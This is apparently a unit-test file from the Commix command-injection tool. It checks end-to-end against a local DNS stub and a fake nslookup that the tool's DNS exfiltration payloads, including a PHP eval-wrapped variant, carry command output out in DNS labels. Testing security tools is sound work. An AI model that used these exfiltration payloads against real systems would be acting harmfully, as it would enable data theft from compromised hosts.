tests/test_oob_dns_integration.py
Rama master · réplica de lectura del repositorio original.
#!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
"""
Integration test: OOB DNS data flow exercised end-to-end.
Spins up a local DNS UDP stub on a random high port, installs a fake
`nslookup` wrapper script that forwards queries to that stub, generates
dns_exfil_command shell pipelines from the production code, runs them
in a subprocess, then verifies that the captured labels reassemble back
to the original command output.
No root access required; no external network traffic.
"""
import binascii
import itertools
import os
import queue
import shutil
import socket
import stat
import struct
import subprocess
import sys
import tempfile
import threading
import unittest
import unittest.mock as mock
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
sys.argv = ["commix.py"]
from src.utils import settings
from src.core.techniques.oob import oob_payloads as payloads
from src.core.techniques.oob import oob_injector
from src.core.oob.provider import Interaction
# Fixed correlation id and token so the production parsing code finds them.
CORR_ID = "aabbccddeeaabbccddee" # 20 chars (interactsh format)
TOKEN = "testtoken0000" # 13 chars
HOSTNAME = CORR_ID + TOKEN + ".test.local"
# ---------------------------------------------------------------------------
# Minimal DNS UDP stub
# ---------------------------------------------------------------------------
class DnsStub:
"""
Listens on a random local UDP port, records every DNS query name it
receives, and sends a minimal NXDOMAIN reply so callers do not block.
"""
def __init__(self):
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._sock.bind(("127.0.0.1", 0))
self._sock.settimeout(0.3)
self.port = self._sock.getsockname()[1]
self._q = queue.Queue()
self._running = False
self._thread = None
def start(self):
self._running = True
self._thread = threading.Thread(target=self._loop, daemon=True)
self._thread.start()
def stop(self):
self._running = False
try:
self._sock.close()
except OSError:
pass
if self._thread:
self._thread.join(timeout=2)
def _loop(self):
while self._running:
try:
data, addr = self._sock.recvfrom(512)
except (socket.timeout, OSError):
continue
name = self._parse_name(data)
if name:
self._q.put(name.lower())
self._nxdomain(data, addr)
def _nxdomain(self, query, addr):
if len(query) < 12:
return
hdr = bytearray(query[:12])
hdr[2] = 0x81 # QR=1, RD=1
hdr[3] = 0x83 # RA=1, RCODE=3
hdr[6] = hdr[7] = 0
try:
self._sock.sendto(bytes(hdr) + query[12:], addr)
except OSError:
pass
@staticmethod
def _parse_name(data):
if len(data) < 13:
return None
pos = 12 # skip the 12-byte DNS header
labels = []
while pos < len(data):
length = data[pos]
if length == 0:
break
pos += 1
if pos + length > len(data):
return None
labels.append(data[pos:pos + length].decode("ascii", errors="replace"))
pos += length
return ".".join(labels) if labels else None
def drain(self, first_wait=5.0, idle=0.5):
"""Collect all query names: wait up to *first_wait* s for the first
one, then keep draining until *idle* s of silence."""
names = []
try:
names.append(self._q.get(timeout=first_wait))
except queue.Empty:
return names
while True:
try:
names.append(self._q.get(timeout=idle))
except queue.Empty:
break
return names
# ---------------------------------------------------------------------------
# Fake nslookup wrapper
# ---------------------------------------------------------------------------
# Python script that sends a real DNS UDP query to the stub.
_DNS_SENDER = """\
#!/usr/bin/env python3
import socket, sys, struct
host = sys.argv[1]
labels = host.lower().encode("ascii", errors="replace").split(b".")
question = b"".join(bytes([len(l)]) + l for l in labels) + b"\\x00"
question += struct.pack("!HH", 1, 1) # QTYPE=A, QCLASS=IN
header = struct.pack("!HHHHHH", 0xAABB, 0x0100, 1, 0, 0, 0)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(2)
try:
s.sendto(header + question, ("127.0.0.1", {port}))
s.recv(512)
except Exception:
pass
"""
_NSLOOKUP_SH = """\
#!/bin/sh
exec python3 {sender} "$@"
"""
_NOOP_SH = "#!/bin/sh\nexit 1\n"
def _install_fake_nslookup(tmpdir, port):
sender = os.path.join(tmpdir, "_dns_sender.py")
wrapper = os.path.join(tmpdir, "nslookup")
with open(sender, "w") as fh:
fh.write(_DNS_SENDER.format(port=port))
with open(wrapper, "w") as fh:
fh.write(_NSLOOKUP_SH.format(sender=sender))
os.chmod(wrapper, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP)
# When the '|' separator chains lookup tools with single pipes every command
# in the pipeline runs simultaneously. Provide fast no-ops for the fallbacks
# so they do not block waiting for I/O or a network reply.
for name in ("getent", "host", "ping"):
path = os.path.join(tmpdir, name)
with open(path, "w") as fh:
fh.write(_NOOP_SH)
os.chmod(path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP)
# ---------------------------------------------------------------------------
# Reassembly helper
# ---------------------------------------------------------------------------
def _reassemble(stub_names):
"""
Given a list of raw DNS query names from the stub, use the production
Interactsh parsing to build a mock channel, then call _dns_output to
reassemble the command output.
"""
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
class _Ch:
def __init__(self):
self._seen = []
self._labels = {}
def seen(self, token, protocol=None):
hits = self._seen
return [i for i in hits if i.protocol == protocol] if protocol else list(hits)
def data_of(self, itr):
return self._labels.get(id(itr), [])
def poll_now(self):
pass
ch = _Ch()
for name in stub_names:
itr = Interaction(protocol="dns", identifier=name, raw_request="")
if client._token_of(itr) == TOKEN:
ch._seen.append(itr)
ch._labels[id(itr)] = client.data_of(itr)
# First call supplies the deadline base (0 → deadline = 30).
# Second call (inside the loop) returns 9999 to trigger the exit path:
# the deadline check fires after the first iteration processes all chunks.
times = itertools.chain([0], itertools.repeat(9999))
settings.OOB_TIMEOUT = 15
settings.INCOMPLETE_OUTPUT = False
with mock.patch("time.time", side_effect=times):
with mock.patch("time.sleep"):
return oob_injector._dns_output(ch, TOKEN)
# ---------------------------------------------------------------------------
# Integration test class
# ---------------------------------------------------------------------------
_TOOLS = ("sh", "od", "fold", "cat", "tr", "xargs", "python3")
@unittest.skipUnless(
all(shutil.which(t) for t in _TOOLS),
"one or more required tools missing: " + ", ".join(_TOOLS),
)
class TestDnsOobIntegration(unittest.TestCase):
def setUp(self):
settings.TARGET_OS = settings.OS.UNIX
settings.INCOMPLETE_OUTPUT = False
self._stub = DnsStub()
self._stub.start()
self._tmpdir = tempfile.mkdtemp(prefix="commix_oob_test_")
_install_fake_nslookup(self._tmpdir, self._stub.port)
def tearDown(self):
self._stub.stop()
shutil.rmtree(self._tmpdir, ignore_errors=True)
settings.TARGET_OS = settings.OS.UNIX
def _run(self, cmd, timeout=12):
env = dict(os.environ)
env["PATH"] = self._tmpdir + ":" + env.get("PATH", "/usr/bin:/bin")
subprocess.run(
["sh", "-c", cmd],
env=env,
capture_output=True,
timeout=timeout,
)
# --- xargs format (separator '&'): plain index labels, no total --------
def test_xargs_single_chunk_ascii_round_trip(self):
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "hello")
def test_xargs_multiword_output(self):
cmd = payloads.dns_exfil_command(HOSTNAME, "echo 'foo bar baz'", "&")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "foo bar baz")
def test_xargs_multichunk_output(self):
# 40 'B' chars → 80 hex chars → 2 chunks (60 + 20)
cmd = payloads.dns_exfil_command(
HOSTNAME, "printf '%s' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'", "&"
)
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "B" * 40)
def test_xargs_labels_carry_plain_index(self):
# xargs format: label0 should be a plain integer, no dash-separator
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
for name in names:
itr = Interaction(protocol="dns", identifier=name, raw_request="")
if client._token_of(itr) == TOKEN:
labels = client.data_of(itr)
if labels:
_, _, count = labels[0].partition("-")
# count is empty → no total embedded in label
self.assertFalse(count.isdigit(),
"xargs label should not carry a total: %r" % labels[0])
def test_xargs_hex_labels_are_valid_hex(self):
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
for name in names:
itr = Interaction(protocol="dns", identifier=name, raw_request="")
if client._token_of(itr) == TOKEN:
hex_data = "".join(client.data_of(itr)[1:])
self.assertEqual(len(hex_data) % 2, 0,
"odd-length hex chunk: %r" % hex_data)
binascii.unhexlify(hex_data) # must not raise
# --- loop format (separator ';'): labels carry index-total -------------
def test_loop_single_chunk_ascii_round_trip(self):
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", ";")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "hello")
def test_loop_labels_carry_total(self):
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", ";")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
found_total = False
for name in names:
itr = Interaction(protocol="dns", identifier=name, raw_request="")
if client._token_of(itr) == TOKEN:
labels = client.data_of(itr)
if labels:
_, _, count = labels[0].partition("-")
if count.isdigit():
found_total = True
break
self.assertTrue(found_total, "no loop-format label with total found in %r" % names)
def test_loop_multichunk_output(self):
cmd = payloads.dns_exfil_command(
HOSTNAME, "printf '%s' 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'", ";"
)
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "C" * 40)
def test_loop_chunk_count_consistent_across_labels(self):
# All labels for one command run must agree on the total chunk count.
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
cmd = payloads.dns_exfil_command(
HOSTNAME, "printf '%s' 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'", ";"
)
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
totals = set()
for name in names:
itr = Interaction(protocol="dns", identifier=name, raw_request="")
if client._token_of(itr) == TOKEN:
labels = client.data_of(itr)
if labels:
_, _, count = labels[0].partition("-")
if count.isdigit():
totals.add(int(count))
self.assertEqual(len(totals), 1,
"labels disagreed on chunk total: %r" % totals)
# --- hostname embedding ------------------------------------------------
def test_queries_embed_corr_id_and_token(self):
# Every captured query name must contain the correlation id + token.
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
for name in names:
self.assertIn(CORR_ID + TOKEN, name,
"corr+token not found in %r" % name)
# --- newline separator (\n): loop path, same label format as ';' -------
def test_newline_loop_format_round_trip(self):
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "\n")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "hello")
def test_newline_loop_labels_carry_total(self):
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "\n")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
found = any(
client._token_of(Interaction(protocol="dns", identifier=n, raw_request="")) == TOKEN
and any(
c.isdigit()
for c in (client.data_of(Interaction(protocol="dns", identifier=n, raw_request=""))[0].partition("-")[2] or "")
)
for n in names
)
self.assertTrue(found, "no \\n-separator label with total found in %r" % names)
# --- pipe separator (|): xargs path, single-pipe lookup chain ----------
def test_pipe_xargs_format_round_trip(self):
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "|")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "hello")
def test_pipe_xargs_labels_carry_plain_index(self):
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "|")
self._run(cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
for name in names:
itr = Interaction(protocol="dns", identifier=name, raw_request="")
if client._token_of(itr) == TOKEN:
labels = client.data_of(itr)
if labels:
_, _, count = labels[0].partition("-")
self.assertFalse(count.isdigit(),
"pipe-separator label should not carry total: %r" % labels[0])
# --- OOB_EVAL: inner DNS command embedded in eval grammar wrapper -------
def test_oob_eval_inner_command_round_trip(self):
# exfiltrate_eval wraps the DNS pipeline in the eval-grammar's print
# statement (PHP by default: print(`...`);). The backtick content is
# the same shell pipeline as the non-eval path. Extract and run it.
payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello")
self.assertIn("`", payload, "eval wrapper not present: %r" % payload[:60])
inner_cmd = payload.split("`")[1]
self._run(inner_cmd)
names = self._stub.drain()
self.assertNotEqual(names, [], "no DNS queries captured")
self.assertEqual(_reassemble(names), "hello")
def test_oob_eval_wrapper_does_not_alter_dns_queries(self):
# Queries from the eval path and the plain path must be identical.
from src.core.oob.interactsh import Interactsh
client = Interactsh.__new__(Interactsh)
client.correlation_id = CORR_ID
client.domain = "test.local"
# exfiltrate_eval wraps exfiltrate("", ...) — use the same separator so
# both commands are runnable standalone (the ";" variant produces a
# leading-semicolon injection fragment, not a plain shell script).
plain_cmd = payloads.exfiltrate("", "dns", HOSTNAME, "echo hello")
self._run(plain_cmd)
plain_names = set(self._stub.drain())
eval_payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello")
inner_cmd = eval_payload.split("`")[1]
self._run(inner_cmd)
eval_names = set(self._stub.drain())
# Both runs must produce labels that carry the same decoded output.
self.assertEqual(_reassemble(list(plain_names)), "hello")
self.assertEqual(_reassemble(list(eval_names)), "hello")
if __name__ == "__main__":
unittest.main()